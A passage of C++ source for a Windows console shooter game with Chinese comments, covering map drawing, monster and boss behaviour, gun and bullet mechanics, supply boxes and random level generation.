4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]==0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]==2&&F[4]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4); m[X][Y]=0,gx=gy=0; } int Cout(int x,int i,int j) { int Guai=0; if(m[i][j]==0&&x==2) SetPos(i,j),cout<<" "; if(m[i][j]==1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木 if(n[i][j]==0&&m[i][j]==2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁 if(n[i][j]==10&&m[i][j]==0) SetPos(i,j),cout<<" ",Color(0); if(n[i][j]==31&&m[i][j]==0) SetPos(i,j),cout<<" ",Color(0); if(m[i][j]==32) m[i][j]=0;//怪子弹灰 if(n[i][j]>=20&&n[i][j]<22&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木 if(n[i][j]>=22&&n[i][j]<24&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木 if(n[i][j]>=24&&n[i][j]<26&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木 if(n[i][j]>=26&&n[i][j]<28&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>=28&&n[i][j]<30&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>45&&n[i][j]<=50&&m[i][j]==2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺 if(m[i][j]==3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]==8) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]==88) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 if(m[i][j]==9||m[i][j]==59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 if(m[i][j]==31||m[i][j]==81) SetPos(i,j),cout<<" ",m[i][j]=0;//毒尘 if(n[i][j]==1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水 if(m[i][j]==50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]/100==1) { if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉"; if((m[i][j]%100)/10==2) SetPos(i,j),Color(4),cout<<"◎",Color(0); if((m[i][j]%100)/10==3) SetPos(i,j),Color(1),cout<<"◎",Color(0); if((m[i][j]%100)/10==4) m[i][j]=4; if((m[i][j]%100)/10==5) SetPos(i,j),Color(3),cout<<"◎",Color(0); if((m[i][j]%100)/10==6) SetPos(i,j),Color(2),cout<<"¤",Color(0); if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0); } if(m[i][j]/100==2) if((m[i][j]%100)/10==1) SetPos(i,j),Color(3),cout<<"☉",Color(0); return Guai; } void Boss() { SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" "; int mov=rand()%30+1,R=rand()%300,ms; if(mov==1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--; if(mov==2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++; if(mov==3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--; if(mov==4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++; if(mov==5&&Bsi==0) Bsi+=rand()%3+1; if(mov==6&&Bjiao==0) Bjiao+=rand()%3+1;if(mov==7&&Bdu==0) Bdu+=5; if(mov==8&&Bxz==0) Bxz+=rand()%20-10;if(mov==9&&Byz==0) Byz+=rand()%20-10; if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;} if(R<15&Gguai<=5) Bfang++; else if(R<5&&Gguai<=10) Bfang++; else if(R==0) Bfang++; SetPos(Bx-1,By-1),Color(0),cout<<" ●● "; SetPos(Bx,By-1) ,Color(4),cout<<")██("; SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0); if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J; if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;} if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;} if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;} if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr==-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;} if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20; if(T%50==0&&Bblood<ms*12) Bblood++,Map(3); for(int i=Bx-1;i<=Bx+1;i++) for(int j=By-1;j<=By+1;j++) { int du=0; if(m[i][j]/100==1) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(m[i][j]/10==15) Bblood-=2,Map(3); if(m[i][j]<50||m[i][j]>55) m[i][j]=0; if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(du==0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3); if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" ";} } } void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用 { if(x!=4) CoutMe(); int f1,f2,f3,f4,Guai=0; if(x==0) f1=f3=2,f2=f4=28; if(x==1||x==5) f1=f3=1,f2=f4=29; if(x==2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1; if((x==4||x==3||x==1)&&Win>=0) { SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1; SetPos(-2,2),cout<<"枪:"; if(gunZ==1) cout<<"普通枪";if(gunZ==2) cout<<"分裂枪";if(gunZ==3) cout<<"穿甲枪"; if(gunZ==4) cout<<"激光枪";if(gunZ==5) cout<<"爆炸枪";if(gunZ==6) cout<<"毒气枪";if(gunZ==7) cout<<"弹跳枪"; cout<<" 子弹数:";if(gunZ==1) cout<<"∞";else cout<<G[gunZ]<<" "; SetPos(-1,2),cout<<"血量:";Color(4);int r; if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█"; Color(0);SetPos(-1,18),cout<<" "; SetPos(0,2),cout<<"盾牌:";Color(9); if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█"; if(Bblood>0) { int ms; if(Lev==4) ms=5; if(Lev==9) ms=10; if(Lev==14) ms=14; if(Lev==19) ms=17; if(Lev==24) ms=20; SetPos(-1,15),cout<<" "; SetPos(-1,15),cout<<"Boss:";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█"; SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1; } } if(x==5) { Color(0); SetPos(-3,2),cout<<" ↑ W 开箱(当有箱子在旁时) 开局无敌3秒"; SetPos(-2,2),cout<<"← →移动 A/D 顺/逆时针转枪 空格 暂停"; SetPos(-1,2),cout<<" ↓ S 发射子弹 清除所有怪进下一关 盾会恢复"; SetPos(0,2), cout<<" 每五关可获得一个天赋 完成 5-5 通关 ",Color(3),cout<<"按 y 进第一关"; for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Cout(x,i,j); } if(x!=3&&x!=4) { for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j); if(x!=2) { int Rr=rand()%3; if(Guai<Gguai&&Guai!=0&&F[15]==1&&Rr==0&&Lev%5==4) Dun=min(Dmax,Dun+1),Map(3); Gguai=Guai; } if(Guai==0&&x==0&&Win==0&&Bblood<=0) { if(Lev!=24) { system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Win!!!";Sleep(500); SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000); system("color 0F");Map(1); } Win++,Lev++; } } } void Fan(int i,int j,int M) { if(M%10==1||M%10==3) m[i][j]=M+4; if(M%10==5||M%10==7) m[i][j]=M-4; if(M%10==2) { if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6; else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%10==4) { if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2; else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%10==6) { if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2; else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2; else m[i][j]=M-4; } if(M%10==8) { if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6; else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2; else m[i][j]=M-4; } } void Light(int i,int j,int M,int x) { if(M%10==1) for(int k=1;CanGo(i-k,j,x);k++) {if(x==3) m[i-k][j]=84; else m[i-k][j]=4;} if(M%10==2) for(int k=1;CanGo(i-k,j+k,x);k++){if(x==3) m[i-k][j+k]=84; else m[i-k][j+k]=4;} if(M%10==3) for(int k=1;CanGo(i,j+k,x);k++) {if(x==3) m[i][j+k]=84; else m[i][j+k]=4;} if(M%10==4) for(int k=1;CanGo(i+k,j+k,x);k++){if(x==3) m[i+k][j+k]=84; else m[i+k][j+k]=4;} if(M%10==5) for(int k=1;CanGo(i+k,j,x);k++) {if(x==3) m[i+k][j]=84; else m[i+k][j]=4;} if(M%10==6) for(int k=1;CanGo(i+k,j-k,x);k++){if(x==3) m[i+k][j-k]=84; else m[i+k][j-k]=4;} if(M%10==7) for(int k=1;CanGo(i,j-k,x);k++) {if(x==3) m[i][j-k]=84; else m[i][j-k]=4;} if(M%10==8) for(int k=1;CanGo(i-k,j-k,x);k++){if(x==3) m[i-k][j-k]=84; else m[i-k][j-k]=4;} } void Move() { bool nx[32][32]; memset(nx,0,sizeof(nx)); for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) { if(m[i][j]==50&&nx[i][j]==0&&T%2==0)//无脑怪 { int r,I=i,J=j,rr=rand()%5,rrr=rand()%2; if(rrr==0) {if(X<i) r=1;if(X>i) r=4;} if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr==0) r=rand()%4+1; if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j; if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]==51&&nx[i][j]==0)//毒怪 { int R=rand()%10; int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15; if(rrr==0) {if(X<i) r=1;if(X>i) r=4;} if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1; if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j; if(mr==0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]==1)) m[k][l]=59;} if(CanGo(I,J,1)||m[I][J]==1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]==52&&nx[i][j]==0)//散弹怪 { int R=rand()%10; if(R==0) { int I,J,r,rn=0; int rr=rand()%8,Rn=rand()%3+1; Xr: rr=rand()%8,rn++; if(rr==0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1; if(rn<Rn) goto Xr; } else if(R<=2) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]==53&&nx[i][j]==0)//瞄准怪 { int R=rand()%6; if(R==0) { int I,J,r,rr=rand()%5; if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(rr==0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} } else if(R==1) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]==54&&nx[i][j]==0)//激光怪 { int R=rand()%10; if(R==0) {int r=rand()%4; Light(i,j,231+2*r,2);} else if(R<=3) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]/100==2&&F[3]==1&&T%2==0) nx[i][j]=1; if((m[i][j]/100==1||m[i][j]/100==2)&&nx[i][j]==0)//子弹 { int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<" "; if(M%10==1) I=i-1,J=j;if(M%10==2) I=i-1,J=j+1;if(M%10==3) I=i,J=j+1;if(M%10==4) I=i+1,J=j+1; if(M%10==5) I=i+1,J=j;if(M%10==6) I=i+1,J=j-1;if(M%10==7) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1; if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);} else if(I==X&&J==Y&&M/100==1) m[I][J]=0; else if(M/100==2&&m[I][J]/100==1) m[i][j]=32; else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0; else if(m[I][J]==2||m[I][J]==3)//石 { if((M%100)/10==0) { int rr=rand()%3; if(rr==0) Fan(i,j,M),m[i][j]+=10; else m[i][j]=84; } if((M%100)/10==1) { m[i][j]=84; int rr=rand()%5; if(rr==0&&F[14]==1&&M/100==1) { for(int ii=i-1;ii<=i+1;ii++) for(int jj=j-1;jj<=j+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } } if((M%100)/10==2) { m[i][j]=84; if(m[i-1][j]!=2&&m[i-1][j]!=3) m[i-1][j]=111; if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112; if(m[i][j+1]!=2&&m[i][j+1]!=3) m[i][j+1]=113; if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114; if(m[i+1][j]!=2&&m[i+1][j]!=3) m[i+1][j]=115; if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116; if(m[i][j-1]!=2&&m[i][j-1]!=3) m[i][j-1]=117; if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118; } if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;} if((M%100)/10==4) m[i][j]=84; if((M%100)/10==5) { for(int ii=i-2;ii<=i+2;ii++) for(int jj=j-2;jj<=j+2;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } if((M%100)/10==6) { for(int ii=i-1;ii<=i+1;ii++) for(int jj=j-1;jj<=j+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9; } if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10; if((M%100)/10==9) m[i][j]=84; } else if(!CanGo(I,J,6))//其他 { if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10; if((M%100)/10==1) { if(M/100==2&&m[I][J]==50) m[i][j]=0; else m[I][J]=84; if(F[14]==1&&M/100==1) { for(int ii=I-1;ii<=I+1;ii++) for(int jj=J-1;jj<=J+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } } if((M%100)/10==2) { m[I][J]=84; if(m[I-1][J]!=2&&m[I-1][J]!=3) m[I-1][J]=111; if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112; if(m[I][J+1]!=2&&m[I][J+1]!=3) m[I][J+1]=113; if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114; if(m[I+1][J]!=2&&m[I+1][J]!=3) m[I+1][J]=115; if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116; if(m[I][J-1]!=2&&m[I][J-1]!=3) m[I][J-1]=117; if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118; } if((M%100)/10==3) m[I][J]=M,nx[I][J]=1; if((M%100)/10==4) Light(i,j,M,3); if((M%100)/10==5) { for(int ii=I-2;ii<=I+2;ii++) for(int jj=J-2;jj<=J+2;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } if((M%100)/10==6) { for(int ii=I-1;ii<=I+1;ii++) for(int jj=J-1;jj<=J+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9; } if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M); if((M%100)/10==9) m[I][J]=84; } else//空地 { if((M%100)/10==6) { m[i][j]=9; if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9; if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9; m[I][J]=M,nx[I][J]=1; } if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2; else m[I][J]=M,nx[I][J]=1; } } } if(Bblood>0) Boss(); } void Bullet() { int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT; Hh:Rrr=rand()%20; if(gunT==1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y; if(gunT==2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1; if(gunT==3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1; if(gunT==4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1; if(gunT==5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y; if(gunT==6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1; if(gunT==7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1; if(gunT==8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1; if(I!=0&&J!=0) m[I][J]=100+10*gunZ+gunT; if(K==1) m[I][J]=110+gunT; if(F[2]==1&&gunZ==1) m[I][J]=100+gunT; if(F[8]==1&&R==0&&K==0) {gunT=rand()%8+1;K=1;goto Hh;} if(F[8]==1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg; if(Rrr==0&&F[11]==1&&K==0) {m[I][J]=100+10*(rand()%7+1)+gunT;} if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);} } void OpenBox(int a) { for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(m[i][j]==3) { int r=2;// if(a==1) r=rand()%6+2; if(F[9]==1) r=rand()%12+2; SetPos(i,j);Color(5); if(r==2) cout<<"分裂枪!"; if(r==3) cout<<"穿甲枪!"; if(r==4) cout<<"激光枪!"; if(r==5) cout<<"爆炸枪!"; if(r==6) cout<<"毒气枪!"; if(r==7) cout<<"弹跳枪!"; if(r==8) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); if(r==9) cout<<"盾牌药水!",Dun=min(Dun+5,Dmax+2),Map(3); if(F[9]==1&&r>=8&&r<=13) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); Sleep(1000);m[i][j]=84;if(r<=7&&F[6]==0) gunZ=r,G[r]+=10;if(r<=7&&F[6]==1) gunZ=r,G[r]+=20; SetPos(i,j); cout<<" ";Map(0); } } void Sheng() { memset(m,0,sizeof(m));memset(n,0,sizeof(n)); int q=0,T=0,II=0,JJ=0; Re: q++; int r=rand()%15+1; if(F[19]==1) r=rand()%20+1; if(r==1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;} if(r==2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;} if(r==3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;} if(r==4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;} if(r==5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;} if(r==6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(i==j||i+j==30) m[i][j]=1;} if(r==7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)==10) m[i][j]=1;} if(r==8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;} if(r==9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr==0&&m[i][j]==0) m[i][j]=1;}} if(r>=10&&II==0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]==0) m[i][j]=1;II=ii,JJ=jj;} if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re; T++;if(T==1) goto Re;if(II!=0) m[II][JJ]=3; r=rand()%15+1; if(r==1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;} if(r==2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;} if(r==3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}} if(r==4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}} if(r==5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}} if(r==6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;} if(r==7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;} if(r==8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(i==j||i+j==30) n[i][j]=31;} if(r==9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(i==Y&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}} if(r==10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;} Kk: int k=0,K[35][35]; memset(K,0,sizeof(K)); if(Lev%5!=4) { for(int i=2;i<=28;i++)//怪 for(int j=2;j<=28;j++) { if(Lev<=1) {int r=rand()%150;if(r==0) K[i][j]=50,k++;} else if(Lev<=2) {int r=rand()%200;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r<=1) k++;} else if(Lev<=3) {int r=rand()%300;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r<=2) k++;} else if(Lev<=5) {int r=rand()%400;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r<=3) k++;} else if(Lev<=7) {int r=rand()%350;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;} else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;} }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto 